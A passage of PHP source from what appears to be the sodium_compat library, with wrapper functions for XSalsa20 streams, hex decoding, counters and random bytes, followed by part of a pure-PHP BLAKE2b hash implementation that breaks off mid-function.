        if (ParagonIE_Sodium_Core_Util::strlen($sk) <
self::CRYPTO_SIGN_SEEDBYTES) {
            throw new SodiumException('Argument 1 must be at least
CRYPTO_SIGN_SEEDBYTES long.');
        }
        if (self::useNewSodiumAPI()) {
            if
(is_callable('crypto_sign_ed25519_sk_to_curve25519')) {
                return sodium_crypto_sign_ed25519_sk_to_curve25519($sk);
            }
        }
        if
(self::use_fallback('crypto_sign_ed25519_sk_to_curve25519')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519',
$sk);
        }

        $h = hash('sha512',
ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true);
        $h[0] = ParagonIE_Sodium_Core_Util::intToChr(
            ParagonIE_Sodium_Core_Util::chrToInt($h[0]) & 248
        );
        $h[31] = ParagonIE_Sodium_Core_Util::intToChr(
            (ParagonIE_Sodium_Core_Util::chrToInt($h[31]) & 127) | 64
        );
        return ParagonIE_Sodium_Core_Util::substr($h, 0, 32);
    }

    /**
     * Expand a key and nonce into a keystream of pseudorandom bytes.
     *
     * @param int $len Number of bytes desired
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key XSalsa20 key
     * @return string       Pseudorandom stream that can be XORed with
messages
     *                      to provide encryption (but not authentication;
see
     *                      Poly1305 or crypto_auth() for that, which is
not
     *                      optional for security)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream($len, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($len,
'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_STREAM_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream($len, $nonce, $key);
        }
        if (self::use_fallback('crypto_stream')) {
            return (string)
call_user_func('\\Sodium\\crypto_stream', $len, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce,
$key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce,
$key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not used this feature.
     *
     * Algorithm: XSalsa20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xor($message, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream_xor($message, $nonce, $key);
        }
        if (self::use_fallback('crypto_stream_xor')) {
            return (string)
call_user_func('\\Sodium\\crypto_stream_xor', $message, $nonce,
$key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message,
$nonce, $key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message,
$nonce, $key);
    }

    /**
     * Return a secure random key for use with crypto_stream
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_stream_keygen()
    {
        return random_bytes(self::CRYPTO_STREAM_KEYBYTES);
    }

    /**
     * Cache-timing-safe implementation of hex2bin().
     *
     * @param string $string Hexadecimal string
     * @return string        Raw binary string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function hex2bin($string)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string,
'string', 1);

        if (self::useNewSodiumAPI()) {
            if (is_callable('sodium_hex2bin')) {
                return (string) sodium_hex2bin($string);
            }
        }
        if (self::use_fallback('hex2bin')) {
            return (string) call_user_func('\\Sodium\\hex2bin',
$string);
        }
        return ParagonIE_Sodium_Core_Util::hex2bin($string);
    }

    /**
     * Increase a string (little endian)
     *
     * @param string $var
     *
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function increment(&$var)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var,
'string', 1);

        if (self::useNewSodiumAPI()) {
            sodium_increment($var);
            return;
        }
        if (self::use_fallback('increment')) {
            $func = '\\Sodium\\increment';
            $func($var);
            return;
        }

        $len = ParagonIE_Sodium_Core_Util::strlen($var);
        $c = 1;
        $copy = '';
        for ($i = 0; $i < $len; ++$i) {
            $c += ParagonIE_Sodium_Core_Util::chrToInt(
                ParagonIE_Sodium_Core_Util::substr($var, $i, 1)
            );
            $copy .= ParagonIE_Sodium_Core_Util::intToChr($c);
            $c >>= 8;
        }
        $var = $copy;
    }

    /**
     * The equivalent to the libsodium minor version we aim to be
compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress UndefinedFunction
     */
    public static function library_version_major()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_library_version_major();
        }
        if (self::use_fallback('library_version_major')) {
            return (int)
call_user_func('\\Sodium\\library_version_major');
        }
        return self::LIBRARY_VERSION_MAJOR;
    }

    /**
     * The equivalent to the libsodium minor version we aim to be
compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress UndefinedFunction
     */
    public static function library_version_minor()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_library_version_minor();
        }
        if (self::use_fallback('library_version_minor')) {
            return (int)
call_user_func('\\Sodium\\library_version_minor');
        }
        return self::LIBRARY_VERSION_MINOR;
    }

    /**
     * Compare two strings.
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function memcmp($left, $right)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right,
'string', 2);

        if (self::use_fallback('memcmp')) {
            return (int) call_user_func('\\Sodium\\memcmp',
$left, $right);
        }
        /** @var string $left */
        /** @var string $right */
        return ParagonIE_Sodium_Core_Util::memcmp($left, $right);
    }

    /**
     * It's actually not possible to zero memory buffers in PHP. You
need the
     * native library for that.
     *
     * @param string|null $var
     *
     * @return void
     * @throws SodiumException (Unless libsodium is installed)
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     */
    public static function memzero(&$var)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var,
'string', 1);

        if (self::useNewSodiumAPI()) {
            sodium_memzero($var);
            return;
        }
        if (self::use_fallback('memzero')) {
            $func = '\\Sodium\\memzero';
            $func($var);
            if ($var === null) {
                return;
            }
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented in sodium_compat, as it is not
possible to securely wipe memory from PHP. ' .
            'To fix this error, make sure libsodium is installed and
the PHP extension is enabled.'
        );
    }

    /**
     * Will sodium_compat run fast on the current hardware and PHP
configuration?
     *
     * @return bool
     */
    public static function polyfill_is_fast()
    {
        if (extension_loaded('sodium')) {
            return true;
        }
        if (extension_loaded('libsodium')) {
            return true;
        }
        return PHP_INT_SIZE === 8;
    }

    /**
     * Generate a string of bytes from the kernel's CSPRNG.
     * Proudly uses /dev/urandom (if getrandom(2) is not available).
     *
     * @param int $numBytes
     * @return string
     * @throws Exception
     * @throws TypeError
     */
    public static function randombytes_buf($numBytes)
    {
        /* Type checks: */
        if (!is_int($numBytes)) {
            if (is_numeric($numBytes)) {
                $numBytes = (int) $numBytes;
            } else {
                throw new TypeError(
                    'Argument 1 must be an integer, ' .
gettype($numBytes) . ' given.'
                );
            }
        }
        if (self::use_fallback('randombytes_buf')) {
            return (string)
call_user_func('\\Sodium\\randombytes_buf', $numBytes);
        }
        return random_bytes($numBytes);
    }

    /**
     * Generate an integer between 0 and $range (non-inclusive).
     *
     * @param int $range
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_uniform($range)
    {
        /* Type checks: */
        if (!is_int($range)) {
            if (is_numeric($range)) {
                $range = (int) $range;
            } else {
                throw new TypeError(
                    'Argument 1 must be an integer, ' .
gettype($range) . ' given.'
                );
            }
        }
        if (self::use_fallback('randombytes_uniform')) {
            return (int)
call_user_func('\\Sodium\\randombytes_uniform', $range);
        }
        return random_int(0, $range - 1);
    }

    /**
     * Generate a random 16-bit integer.
     *
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_random16()
    {
        if (self::use_fallback('randombytes_random16')) {
            return (int)
call_user_func('\\Sodium\\randombytes_random16');
        }
        return random_int(0, 65535);
    }

    /**
     * This emulates libsodium's version_string() function, except
ours is
     * prefixed with 'polyfill-'.
     *
     * @return string
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress UndefinedFunction
     */
    public static function version_string()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_version_string();
        }
        if (self::use_fallback('version_string')) {
            return (string)
call_user_func('\\Sodium\\version_string');
        }
        return (string) self::VERSION_STRING;
    }

    /**
     * Should we use the libsodium core function instead?
     * This is always a good idea, if it's available. (Unless
we're in the
     * middle of running our unit test suite.)
     *
     * If ext/libsodium is available, use it. Return TRUE.
     * Otherwise, we have to use the code provided herein. Return FALSE.
     *
     * @param string $sodium_func_name
     *
     * @return bool
     */
    protected static function use_fallback($sodium_func_name =
'')
    {
        static $res = null;
        if ($res === null) {
            $res = extension_loaded('libsodium') &&
PHP_VERSION_ID >= 50300;
        }
        if ($res === false) {
            // No libsodium installed
            return false;
        }
        if (self::$disableFallbackForUnitTests) {
            // Don't fallback. Use the PHP implementation.
            return false;
        }
        if (!empty($sodium_func_name)) {
            return is_callable('\\Sodium\\' . $sodium_func_name);
        }
        return true;
    }

    /**
     * Libsodium as implemented in PHP 7.2
     * and/or ext/sodium (via PECL)
     *
     * @ref https://wiki.php.net/rfc/libsodium
     * @return bool
     */
    protected static function useNewSodiumAPI()
    {
        static $res = null;
        if ($res === null) {
            $res = PHP_VERSION_ID >= 70000 &&
extension_loaded('sodium');
        }
        if (self::$disableFallbackForUnitTests) {
            // Don't fallback. Use the PHP implementation.
            return false;
        }
        return (bool) $res;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_BLAKE2b', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_BLAKE2b
 *
 * Based on the work of Devi Mandiri in devi/salt.
 */
abstract class ParagonIE_Sodium_Core_BLAKE2b extends
ParagonIE_Sodium_Core_Util
{
    /**
     * @var SplFixedArray
     */
    protected static $iv;

    /**
     * @var array<int, array<int, int>>
     */
    protected static $sigma = array(
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5, 
3),
        array( 11,  8, 12,  0,  5,  2, 15, 13, 10, 14,  3,  6,  7,  1,  9, 
4),
        array(  7,  9,  3,  1, 13, 12, 11, 14,  2,  6,  5, 10,  4,  0, 15, 
8),
        array(  9,  0,  5,  7,  2,  4, 10, 15, 14,  1, 11, 12,  6,  8,  3,
13),
        array(  2, 12,  6, 10,  0, 11,  8,  3,  4, 13,  7,  5, 15, 14,  1, 
9),
        array( 12,  5,  1, 15, 14, 13,  4, 10,  0,  7,  6,  3,  9,  2,  8,
11),
        array( 13, 11,  7, 14, 12,  1,  3,  9,  5,  0, 15,  4,  8,  6,  2,
10),
        array(  6, 15, 14,  9, 11,  3,  0,  8, 12,  2, 13,  7,  1,  4, 10, 
5),
        array( 10,  2,  8,  4,  7,  6,  1,  5, 15, 11,  9, 14,  3, 12, 13 ,
0),
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5, 
3)
    );

    const BLOCKBYTES = 128;
    const OUTBYTES   = 64;
    const KEYBYTES   = 64;

    /**
     * Turn two 32-bit integers into a fixed array representing a 64-bit
integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $high
     * @param int $low
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function new64($high, $low)
    {
        $i64 = new SplFixedArray(2);
        $i64[0] = $high & 0xffffffff;
        $i64[1] = $low & 0xffffffff;
        return $i64;
    }

    /**
     * Convert an arbitrary number into an SplFixedArray of two 32-bit
integers
     * that represents a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $num
     * @return SplFixedArray
     */
    protected static function to64($num)
    {
        list($hi, $lo) = self::numericTo64BitInteger($num);
        return self::new64($hi, $lo);
    }

    /**
     * Adds two 64-bit integers together, returning their sum as a
SplFixedArray
     * containing two 32-bit integers (representing a 64-bit integer).
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @return SplFixedArray
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    protected static function add64($x, $y)
    {
        $l = ($x[1] + $y[1]) & 0xffffffff;
        return self::new64(
            $x[0] + $y[0] + (
                ($l < $x[1]) ? 1 : 0
            ),
            $l
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @param SplFixedArray $z
     * @return SplFixedArray
     */
    protected static function add364($x, $y, $z)
    {
        return self::add64($x, self::add64($y, $z));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function xor64(SplFixedArray $x, SplFixedArray $y)
    {
        if (!is_numeric($x[0])) {
            throw new SodiumException('x[0] is not an integer');
        }
        if (!is_numeric($x[1])) {
            throw new SodiumException('x[1] is not an integer');
        }
        if (!is_numeric($y[0])) {
            throw new SodiumException('y[0] is not an integer');
        }
        if (!is_numeric($y[1])) {
            throw new SodiumException('y[1] is not an integer');
        }
        return self::new64(
            (int) ($x[0] ^ $y[0]),
            (int) ($x[1] ^ $y[1])
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $c
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function rotr64($x, $c)
    {
        if ($c >= 64) {
            $c %= 64;
        }
        if ($c >= 32) {
            /** @var int $tmp */
            $tmp = $x[0];
            $x[0] = $x[1];
            $x[1] = $tmp;
            $c -= 32;
        }
        if ($c === 0) {
            return $x;
        }

        $l0 = 0;
        $c = 64 - $c;

        if ($c < 32) {
            /** @var int $h0 */
            $h0 = ((int) ($x[0]) << $c) | (
                (
                    (int) ($x[1]) & ((1 << $c) - 1)
                        <<
                    (32 - $c)
                ) >> (32 - $c)
            );
            /** @var int $l0 */
            $l0 = (int) ($x[1]) << $c;
        } else {
            /** @var int $h0 */
            $h0 = (int) ($x[1]) << ($c - 32);
        }

        $h1 = 0;
        $c1 = 64 - $c;

        if ($c1 < 32) {
            /** @var int $h1 */
            $h1 = (int) ($x[0]) >> $c1;
            /** @var int $l1 */
            $l1 = ((int) ($x[1]) >> $c1) | ((int) ($x[0]) & ((1
<< $c1) - 1)) << (32 - $c1);
        } else {
            /** @var int $l1 */
            $l1 = (int) ($x[0]) >> ($c1 - 32);
        }

        return self::new64($h0 | $h1, $l0 | $l1);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @return int
     * @psalm-suppress MixedOperand
     */
    protected static function flatten64($x)
    {
        return (int) ($x[0] * 4294967296 + $x[1]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @return SplFixedArray
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    protected static function load64(SplFixedArray $x, $i)
    {
        /** @var int $l */
        $l = (int) ($x[$i])
             | ((int) ($x[$i+1]) << 8)
             | ((int) ($x[$i+2]) << 16)
             | ((int) ($x[$i+3]) << 24);
        /** @var int $h */
        $h = (int) ($x[$i+4])
             | ((int) ($x[$i+5]) << 8)
             | ((int) ($x[$i+6]) << 16)
             | ((int) ($x[$i+7]) << 24);
        return self::new64($h, $l);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @param SplFixedArray $u
     * @return void
     * @psalm-suppress MixedAssignment
     */
    protected static function store64(SplFixedArray $x, $i, SplFixedArray
$u)
    {
        $maxLength = $x->getSize() - 1;
        for ($j = 0; $j < 8; ++$j) {
            /*
               [0, 1, 2, 3, 4, 5, 6, 7]
                    ... becomes ...
               [0, 0, 0, 0, 1, 1, 1, 1]
            */
            /** @var int $uIdx */
            $uIdx = ((7 - $j) & 4) >> 2;
            $x[$i]   = ((int) ($u[$uIdx]) & 0xff);
            if (++$i > $maxLength) {
                return;
            }
            $u[$uIdx] >>= 8;
        }
    }

    /**
     * This just sets the $iv static variable.
     *
     * @internal You should not use this directly from another application
     *
     * @return void
     */
    public static function pseudoConstructor()
    {
        static $called = false;
        if ($called) {
            return;
        }
        self::$iv = new SplFixedArray(8);
        self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908);
        self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b);
        self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b);
        self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1);
        self::$iv[4] = self::new64(0x510e527f, 0xade682d1);
        self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f);
        self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b);
        self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179);

        $called = true;
    }

    /**
     * Returns a fresh BLAKE2 context.
     *
     * @internal You should not use this directly from another application
     *
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    protected static function context()
    {
        $ctx    = new SplFixedArray(5);
        $ctx[0] = new SplFixedArray(8);   // h
        $ctx[1] = new SplFixedArray(2);   // t
        $ctx[2] = new SplFixedArray(2);   // f
        $ctx[3] = new SplFixedArray(256); // buf
        $ctx[4] = 0;                      // buflen

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::$iv[$i];
        }
        for ($i = 256; $i--;) {
            $ctx[3][$i] = 0;
        }

        $zero = self::new64(0, 0);
        $ctx[1][0] = $zero;
        $ctx[1][1] = $zero;
        $ctx[2][0] = $zero;
        $ctx[2][1] = $zero;

        return $ctx;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $buf
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    protected static function compress(SplFixedArray $ctx, SplFixedArray
$buf)
    {
        $m = new SplFixedArray(16);
        $v = new SplFixedArray(16);

        for ($i = 16; $i--;) {
            $m[$i] = self::load64($buf, $i << 3);
        }

        for ($i = 8; $i--;) {
            $v[$i] = $ctx[0][$i];
        }

        $v[ 8] = self::$iv[0];
        $v[ 9] = self::$iv[1];
        $v[10] = self::$iv[2];
        $v[11] = self::$iv[3];

        $v[12] = self::xor64($ctx[1][0], self::$iv[4]);
        $v[13] = self::xor64($ctx[1][1], self::$iv[5]);
        $v[14] = self::xor64($ctx[2][0], self::$iv[6]);
        $v[15] = self::xor64($ctx[2][1], self::$iv[7]);

        for ($r = 0; $r < 12; ++$r) {
            $v = self::G($r, 0, 0, 4, 8, 12, $v, $m);
            $v = self::G($r, 1, 1, 5, 9, 13, $v, $m);
            $v = self::G($r, 2, 2, 6, 10, 14, $v, $m);
            $v = self::G($r, 3, 3, 7, 11, 15, $v, $m);
            $v = self::G($r, 4, 0, 5, 10, 15, $v, $m);
            $v = self::G($r, 5, 1, 6, 11, 12, $v, $m);
            $v = self::G($r, 6, 2, 7, 8, 13, $v, $m);
            $v = self::G($r, 7, 3, 4, 9, 14, $v, $m);
        }

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::xor64(
                $ctx[0][$i], self::xor64($v[$i], $v[$i+8])
            );
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $r
     * @param int $i
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @param SplFixedArray $v
     * @param SplFixedArray $m
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v,
SplFixedArray $m)
    {
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i
<< 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24);
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i
<< 1) + 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63);
        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param int $inc
     * @return void
     * @throws SodiumException
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function increment_counter($ctx, $inc)
    {
        if ($inc < 0) {
            throw new SodiumException('Increasing by a negative number
makes no sense.');
        }
        $t = self::to64($inc);
        # S->t is $ctx[1] in our implementation

        # S->t[0] = ( uint64_t )( t >> 0 );
        $ctx[1][0] = self::add64($ctx[1][0], $t);

        # S->t[1] += ( S->t[0] < inc );
        if (self::flatten64($ctx[1][0]) < $inc) {
            $ctx[1][1] = self::add64($ctx[1][1], self::to64(1));
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $p
     * @param int $plen
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedOperand
     */
    public static function update(SplFixedArray $ctx, SplFixedArray $p,
$plen)
    {
        self::pseudoConstructor();

        $offset = 0;
        while ($plen > 0) {
            $left = $ctx[4];
            $fill = 256 - $left;

            if ($plen > $fill) {
                # memcpy( S->buf + left, in, fill ); /* Fill buffer */
                for ($i = $fill; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }

                # S->buflen += fill;
                $ctx[4] += $fill;

                # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES );
                self::increment_counter($ctx, 128);

                # blake2b_compress( S, S->buf ); /* Compress */
                self::compress($ctx, $ctx[3]);

                # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES,
BLAKE2B_BLOCKBYTES ); /* Shift buffer left */
                for ($i = 128; $i--;) {
                    $ctx[3][$i] = $ctx[3][$i + 128];
                }

                # S->buflen -= BLAKE2B_BLOCKBYTES;
                $ctx[4] -= 128;

                # in += fill;
                $offset += $fill;

                # inlen -= fill;
                $plen -= $fill;
            } else {
                for ($i = $plen; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }
                $ctx[4] += $plen;
                $offset += $plen;
                $plen -= $plen;
            }
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $out
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedOperand
     */
    public static function finish(SplFixedArray $ctx, SplFixedArray $out)
    {
        self::pseudoConstructor();
        if ($ctx[4] > 128) {
            self::increment_counter($ctx, 128);
            self::compress($ctx, $ctx[3]);
            $ctx[4] -= 128;
            if ($ctx[4] > 128) {
                throw new SodiumException('Failed to assert that
buflen <= 128 bytes');
            }
            for ($i = $ctx[4]; $i--;) {
                $ctx[3][$i] = $ctx[3][$i + 128];
            }
        }

        self::increment_counter($ctx, $ctx[4]);
        $ctx[2][0] = self::new64(0xffffffff, 0xffffffff);

        for ($i = 256 - $ctx[4]; $i--;) {
            $ctx[3][$i+$ctx[4]] = 0;
        }

        self::compress($ctx, $ctx[3]);

        $i = (int) (($out->getSize() - 1) / 8);
        for (; $i >= 0; --$i) {
            self::store64($out, $i << 3, $ctx[0][$i]);
        }
        return $out;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray|null $key
     * @param int $outlen
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    public static function init($key = null, $outlen = 64)
    {
        self::pseudoConstructor();
        $klen = 0;

        if ($key !== null) {
            if (count($key) > 64) {
                throw new SodiumException('Invalid key size');
            }
            $klen = count($key);
        }

        if ($outlen > 64) {
            throw new SodiumException('Invalid output size');
        }

        $ctx = self::context();

        $p = new SplFixedArray(64);
        for ($i = 64; --$i;) {
            $p[$i] = 0;
        }

        $p[0] = $outlen; // digest_length
        $p[1] = $klen;   // key_length
        $p[2] = 1;       // fanout
        $p[3] = 1;       // depth

        $ctx[0][0] = self::xor64(
            $ctx[0][0],
            self::load64($p, 0)
        );

        if ($klen > 0 && $key instanceof SplFixedArray) {
            $block = new SplFixedArray(128);
            for ($i = 128; $i--;) {
                $block[$i] = 0;
            }
            for ($i = $klen; $i--;) {
                $block[$i] = $key[$i];
            }
            self::update($ctx, $block, 128);
        }

        return $ctx;
    }

    /**
     * Convert a string into an SplFixedArray of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $str
     * @return SplFixedArray
     */
    public static function stringToSplFixedArray($str = '')
    {
        $values = unpack('C*', $str);
        return SplFixedArray::fromArray(array_values($values));
    }

    /**
     * Convert an SplFixedArray of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $a
     * @return string
     * @throws TypeError
     */
    public static function SplFixedArrayToString(SplFixedArray $a)
    {
        /**
         * @var array<int, int|string> $arr
         */
        $arr = $a->toArray();
        $c = $a->count();
        array_unshift($arr, str_repeat('C', $c));
        return (string) (call_user_func_array('pack', $arr));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray[SplFixedArray] $ctx
     * @return string
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     */
    public static function contextToString(SplFixedArray $ctx)
    {
        $str = '';
        /** @var array<int, array<int, int>> $ctxA */
        $ctxA = $ctx[0]->toArray();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $str .= self::store32_le($ctxA[$i][1]);
            $str .= self::store32_le($ctxA[$i][0]);
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctxA = $ctx[$i]->toArray();
            $str .= self::store32_le($ctxA[0][1]);
            $str .= self::store32_le($ctxA[0][0]);
            $str .= self::store32_le($ctxA[1][1]);
            $str .= self::store32_le($ctxA[1][0]);
        }

        # uint8_t buf[2 * 128];
        $str .= self::SplFixedArrayToString($ctx[3]);

        /** @var int $ctx4 */
        $ctx4 = (int) $ctx[4];

        # size_t buflen;
        $str .= implode('', array(
            self::intToChr($ctx4 & 0xff),
            self::intToChr(($ctx4 >> 8) & 0xff),
            self::intToChr(($ctx4 >> 16) & 0xff),
            self::intToChr(($ctx4 >> 24) & 0xff),
            self::intToChr(($ctx4 >> 32) & 0xff),
            self::intToChr(($ctx4 >> 40) & 0xff),
            self::intToChr(($ctx4 >> 48) & 0xff),
            self::intToChr(($ctx4 >> 56) & 0xff)
        ));
        # uint8_t last_node;
